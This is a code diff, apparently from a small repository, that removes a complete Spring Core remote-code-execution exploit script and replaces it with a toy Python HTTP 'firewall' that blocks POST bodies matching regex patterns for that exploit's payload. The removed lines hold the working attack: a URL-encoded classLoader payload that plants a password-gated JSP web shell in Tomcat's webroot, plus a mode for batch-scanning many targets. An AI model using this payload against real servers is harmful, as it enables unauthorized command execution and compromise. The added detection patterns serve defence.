firewall_server.py

exp.py

@@ -1,45 +1,65 @@
 #!/usr/bin/env python3
 #coding:utf-8
 
-import requests
-import argparse
-from urllib.parse import urljoin
-
-def Exploit(url):
-    headers = {"suffix":"%>//",
-                "c1":"Runtime",
-                "c2":"<%",
-                "DNT":"1",
-                "Content-Type":"application/x-www-form-urlencoded"
-
-    }
-    data = "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="
-    try:
+from http.server import BaseHTTPRequestHandler, HTTPServer
+import re
 
-        go = requests.post(url,headers=headers,data=data,timeout=15,allow_redirects=False, verify=False)
-        shellurl = urljoin(url, 'tomcatwar.jsp')
-        shellgo = requests.get(shellurl,timeout=15,allow_redirects=False, verify=False)
-        if shellgo.status_code == 200:
-            print(f"漏洞存在，shell地址为:{shellurl}?pwd=j&cmd=whoami")
-    except Exception as e:
-        print(e)
-        pass
+host = "localhost"
+port = 8000
+
+class ServerHandler(BaseHTTPRequestHandler):
+    def do_GET(self):
+        self.handle_request()
+
+    def do_POST(self):
+        # Check if the request contains malicious patterns
+        if self.is_malicious_request():
+            self.block_request()
+        else:
+            self.handle_request()
+
+    def handle_request(self):
+        self.send_response(200)
+        self.send_header("content-type", "application/json")
+        self.end_headers()
 
+    def block_request(self):
+        self.send_response(403)  # Forbidden
+        self.send_header("content-type", "text/plain")
+        self.end_headers()
+        self.wfile.write(b"Request blocked due to malicious content.")
 
+    def is_malicious_request(self):
+        content_length = int(self.headers.get('Content-Length', 0))
+        post_data = self.rfile.read(content_length).decode('utf-8') if content_length > 0 else ""
 
+        # Define malicious patterns to block
+        malicious_patterns = [
+            r"class\.module\.classLoader\.resources\.context\.parent\.pipeline\.first\.pattern",
+            r"Runtime\.exec\(request\.getParameter\(cmd\)\)",
+            r"java\.io\.InputStream",
+            r"new byte\[2048\]",
+            r"while\(\(a = in\.read\(b\)\) != -1\)"
+        ]
+
+        # Check for the presence of any malicious patterns in the POST data
+        for pattern in malicious_patterns:
+            if re.search(pattern, post_data):
+                return True
+        return False
+
+if __name__ == "__main__":
+    server = HTTPServer((host, port), ServerHandler)
+    print("[+] Firewall Server")
+    print("[+] HTTP Web Server running on: %s:%s" % (host, port))
+
+    try:
+        server.serve_forever()
+    except KeyboardInterrupt:
+        pass
 
-def main():
-    parser = argparse.ArgumentParser(description='Srping-Core Rce.')
-    parser.add_argument('--file',help='url file',required=False)
-    parser.add_argument('--url',help='target url',required=False)
-    args = parser.parse_args()
-    if args.url:
-        Exploit(args.url)
-    if args.file:
-        with open (args.file) as f:
-            for i in f.readlines():
-                i = i.strip()
-                Exploit(i)
+    server.server_close()
+    print("[+] Server terminated. Exiting...")
+    exit(0)
 
-if __name__ == '__main__':
-    main()
+